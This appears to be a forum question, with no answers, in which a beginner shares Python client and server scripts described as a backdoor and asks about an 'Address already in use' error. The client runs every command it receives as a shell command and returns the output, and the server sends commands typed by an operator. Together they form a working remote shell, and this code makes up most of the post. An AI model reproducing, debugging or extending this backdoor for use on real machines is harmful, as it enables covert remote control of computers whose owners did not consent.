0

I have these 2 script for a backdoor, one of them is for the client the other one for a server, both in python. When I try to run the server script to give commands to my pc that is running the client script, qpython gives me the following error " [Errno] Address already in use ".

I tried running a vpn to mask my ip on the phone and disconnected from my router(don't know if this affects it ), still doesn't work.

code client:

import socket
import subprocess

REMOTE_HOST = '127.0.0.1'
REMOTE_PORT =  8081
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

while True:
    print("[-] Awaiting commands...")
    command = client.recv(1024)
    command = command.decode()
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    print("[-] Sending response...")
    client.send(output + output_error)

server code:

import socket

HOST = '127.0.0.1'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

while True:
    command = input('Enter Command : ')
    command = command.encode()
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode()
    print(f"Output: {output}")

I am sorry if I made some stupid mistake as I am quite new to pyhton and this whole server thing.

Delete
  • 1
  • 1

0 Answers0